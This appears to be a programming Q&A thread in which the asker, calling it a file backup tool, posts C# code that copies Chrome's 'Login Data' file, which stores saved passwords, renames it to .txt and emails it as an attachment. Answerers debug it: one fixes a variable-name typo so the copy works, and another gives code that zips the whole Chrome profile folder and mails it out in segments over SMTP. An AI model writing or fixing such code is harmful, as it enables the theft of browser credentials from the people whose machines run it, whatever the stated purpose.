Reputation: 11
i'm writing a little C# application which backups my files periodically.
Now i encountered an issue cause of this File.Copy method not overwriting the already existing "Login File.txt" :
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
DirectoryInfo chrome = new DirectoryInfo(Local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}
I use the copy method cause seems that i cannot grab that file with no extension in my code, so i decided to use this turnaround and convert to a .txt file so i can properly attach to my email. However, i'm using this method: https://msdn.microsoft.com/en-us/library/9706cfs5(v=vs.110).aspx cause it allows to overwrite the destination files but seems this doesn't happen and my application stop sendign the backups cause of this.
I can affirm this is the issue since if i comment that part of code everything runs smoothly.
What am i doing wrong here?
Thanks for your answers in advance.
Upvotes: 1
Views: 307
Reputation: 6047
You are trying to mail a complete folder of (in my case) over 400mb. Your approach should be: copy the content (if there is a folder) to a temp folder. compress it in archives of less than 10mb each and mail your archive collection.
In my case this would be about 50 e-mails:
You can use the dotnetzip https://dotnetzip.codeplex.com/ nuget package:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default";
DirectoryInfo chrome = new DirectoryInfo(local);
if (chrome.Exists)
{
using (ZipFile zip = new ZipFile())
{
string[] files = Directory.GetFiles(local);
zip.AddFiles(files);
zip.MaxOutputSegmentSize = 10 * 1024 * 1024 ; // 10 mb
zip.Save(local + "/test.zip");
for(int i = 0; i < zip.NumberOfSegmentsForMostRecentSave; i++)
{
MailMessage msg = new MailMessage("[email protected]", "[email protected]", "subject", "body");
// https://msdn.microsoft.com/en-us/library/5k0ddab0%28v=vs.110%29.aspx
msg.Attachments.Add(new Attachment(local + "/test.z" + i.ToString("00"))); //format i for 2 digits
SmtpClient sc = new SmtpClient();
msg.Send(sc); // you should also make a new mailmessage for each attachment.
}
}
}
from: https://stackoverflow.com/a/12596248/169714 and from: https://stackoverflow.com/a/6672157/169714
Upvotes: 1
Reputation: 2256
In your code, the you check if the file with path "Local" exists and then copy the path with "local". Using the debugger, you can inspect the value of "Local" and see if it's different than "local". The code below could work:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
// ** Note in your example "local" is capitalized as "Local"
DirectoryInfo chrome = new DirectoryInfo(local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}
Upvotes: 0
Reputation: 737
check the parameters you give to the File.Copy(). It seems that the first parameter is not a file but a folder: Local + @"\Google\Chrome\User Data\Default\Login Data"
Upvotes: 1